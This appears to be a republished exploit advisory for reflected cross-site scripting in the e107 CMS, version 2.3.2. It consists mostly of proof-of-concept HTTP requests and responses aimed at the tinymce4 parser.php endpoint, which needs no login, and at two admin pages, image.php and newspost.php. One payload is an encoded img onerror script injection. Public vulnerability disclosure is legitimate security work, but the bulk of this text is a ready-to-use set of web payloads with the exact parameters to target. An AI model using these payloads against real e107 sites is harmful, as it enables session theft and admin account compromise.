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Published on May 26th, 2023 📆 | 6217 Views ⚑

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e107 2.3.2 Cross Site Scripting – Torchsec


iSpeech

# Exploit Title: e107 v2.3.2 - Reflected XSS
# Date: 11/05/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: hub.woj12345@gmail.com
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 2.3.2
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### XSS Reflected - unauthorized

URL: http://127.0.0.1/e107/e107_plugins/tinymce4/plugins/e107/parser.php
Parameters: content

# POC
Request:
POST /e107/e107_plugins/tinymce4/plugins/e107/parser.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 1126
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/e107/e107_admin/newspost.php?mode=main&action=edit&id=3
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

content=%5Bhtml%5D%3Cp%3E%3Cstrong%3ELore"/>bb&mode=tohtml

Response:
HTTP/1.1 200 OK
Date: Thu, 11 May 2023 19:38:45 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: PHP/7.4.29
Set-Cookie: PHPSESSID=c4mphnf1igb7lbibn4q1eni10h; expires=Fri, 12-May-2023 19:38:45 GMT; Max-Age=86400; path=/e107/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1053
Connection: close
Content-Type: text/html; charset=UTF-8

Lore"/>bb

### XSS Reflected - Authorized

URL: http://127.0.0.1/e107/e107_admin/image.php
Parameters: for

# POC 1
Request:
GET /e107/e107_admin/image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1 HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close

Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2023 03:07:35 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "37f107dbe6a998ecf7b71689627c2a56"
Content-Length: 12420
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8








Media Manager - Admin Area :: hacked">bbbbb



[...]

dezaw&path=">

No HTML5 support.

[...]

# POC 2

URL: http://127.0.0.1/e107/e107_admin/newspost.php
Parameters: Payload in URL

Request:
GET /e107/e107_admin/newspost.php/sdd4h">kzb89?mode=main&action=list HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/e107/e107_admin/newspost.php?mode=main&action=edit&id=3
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ftq2gnr1kgjqhfa3u902thraa8
Connection: close

Response:

HTTP/1.1 200 OK
Date: Fri, 05 May 2023 06:21:53 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
X-Powered-By: e107
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ETag: "d127dd6a44a22e093fed60b83bf36af2"
Content-Length: 72914
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8




News - List - Admin Area :: hacked">bbbbb



[...]

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